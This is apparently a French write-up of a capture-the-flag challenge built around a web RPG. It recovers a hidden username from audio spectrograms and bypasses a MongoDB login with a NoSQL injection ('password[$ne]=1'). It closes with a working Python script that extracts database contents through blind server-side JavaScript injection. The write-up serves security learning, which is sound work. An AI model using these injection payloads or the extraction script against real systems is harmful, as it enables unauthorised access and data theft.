On trouve une page avec un RPG. Il est possible de se déplacer et de lire des informations grâce au différents items de la map.
Lorsque l'on clique sur la map, un popup s'affiche pour se connecter.
En utilisant différents items (appuyer sur espace) on obtient plusieurs informations, que l'on peut récupérer par exemple dans la Console de Firebug :
Voici les informations que l'on peut récupérer :
The password should be bypassed...
The username is in one of the crystals
"commands": [ "PLAY_SE: {'filename': 'sound69.ogg'}" ]
"commands": [ "PLAY_SE: {'filename': 'sound42.ogg'}" ]
On sait donc ce qu'on doit faire : trouver le login et bypass l'authentification.
Pour trouver le login, on se place devant les cristaux et on appuie sur espace, on entend alors un son assez spécial.
Pour récupérer ces sons, on analyse le code source de l'application qui s'occupe de mettre en cache les fichiers sons :
Cache.loadAudio = function (b, d, e) { // b est une string contenant le nom de notre fichier son // d est égal à "se" dans notre cas // e est une function callback if (!b) { return false } var f = "Audio/" + d.toUpperCase(); // Dans notre cas, f = "Audio/SE" var a = new Audio(); if (typeof b != "string") { if (a.canPlayType) { if ( !! (a.canPlayType("audio/mpeg;").replace(/no/, ""))) { b = b.mp3 + ".mp3" } else { if ( !! (a.canPlayType('audio/ogg;codecs="vorbis"').replace(/no/, ""))) { b = b.ogg + ".ogg" } } a.src = Cache.path + f + "/" + b } } else { a.src = Cache.path + f + "/" + b // Dans notre cas, a.src = "http://54.247.160.116:8007/Audio/SE/soundxx.ogg" } var c = Cache.get(b, d); if (c) { e(c); return c } if (!Cache.files[d]) { Cache.files[d] = [] } Cache.files[d].push(a); if (e) { e(a) } };
On télécharge les deux sons, on les ouvre avec audacity, puis on regarde leur spectrogramme.
Well! On obtient notre login : ndh2k12
On observe que lorsque on valide le mini-formulaire, une requête AJAX est générée.
http://54.247.160.116:8007/login.php?user=a&password=a
Wrong username
http://54.247.160.116:8007/login.php?user=ndh2k12&password=a
Wrong password
Parfait, le login trouvé est donc bien le bon. Il ne nous reste plus qu'à bypass le bouzin. Après plusieurs tests, comme à chaque fois, on finit par y arriver. C'est une base de données NoSQL derrière, en l'occurrence MongoDB. Voir NoSQL Injection
http://54.247.160.116:8007/login.php?user=ndk2k12&password[$ne]=1
On se retrouve connecté, avec un petit formulaire de recherche à compléter.
Il ne nous reste plus qu'à exploiter la nouvelle page pour récupérer le flag quoi doit sûrement être stocké dans la base de donnée. On commence par récupérer la liste des collections (nous n'avez qu'à modifier dans le script suivant pour tester )
payload = "tojson(db.getCollectionNames())"
Not : 1 Not : 2 ... taille : 48 ... [ "ZE A ... [ "ZEfl4g", "people", "system.indexes", "user" ]
La collection qui semble la plus intéressante est ZEfl4g
, on cherche donc la première entrée de celle ci.
payload = "tojson(db.ZEfl4g.find()[0])"
Not : 1 Not : 2 ... taille : 85 ... { ... { "_id" : ObjectId("4fed9d374550682346000017"), "flag" : "[|\|DH---Fl4g---2|<12]" }
Hop, le flag est md5(”[|\|DH—Fl4g—2|<12]”) = 3796f619b8e882ee8fd0d955b4ae2e57
#!/usr/bin/env python # encoding: utf-8 import sys import os import httplib from urllib import quote as urlencode headers = {"Cookie":"PHPSESSID=vhks5uigf3faen5m106125r1j1"} def doLogin(): conn = httplib.HTTPConnection("54.247.160.116:8007") conn.request("GET","/login.php?user=ndh2k12&password[$ne]=1","",headers) print "login" def checkLogin(): conn = httplib.HTTPConnection("54.247.160.116:8007") conn.request("GET","/login.php?user=ndh2k12&password[$ne]=1","",headers) rep = conn.getresponse().read() if rep.count("injector") < 0: doLogin() def main(): payload = "tojson(db.getCollectionNames())" # on cherche la taille length = 1 while True: conn = httplib.HTTPConnection("54.247.160.116:8007") conn.request("GET","/getinfo.php?age=1&town="+urlencode("Paris'; return {payload}.length=={taille} ;//".format(payload=payload,taille=length)),"",headers) retour = conn.getresponse().read() if retour.count("login") > 0: print "not login" checkLogin() continue if retour.count("Nobody") < 1: print "taille : ", length break else: print "Not : ",length length += 1 # on cherche les données offset = 0 result = "" while offset < length: char = 9 while char < 127: conn = httplib.HTTPConnection("54.247.160.116:8007") conn.request("GET","/getinfo.php?age=1&town="+urlencode("Paris'; return {payload}.charCodeAt({offset})=={char};//".format(payload=payload,offset=offset,char=char)),"",headers) retour = conn.getresponse().read() if retour.count("login") > 0: print "not login" checkLogin() continue if retour.count("Nobody") < 1: result += chr(char) print result break else: print result, chr(char) char += 1 offset += 1 if __name__ == '__main__': main()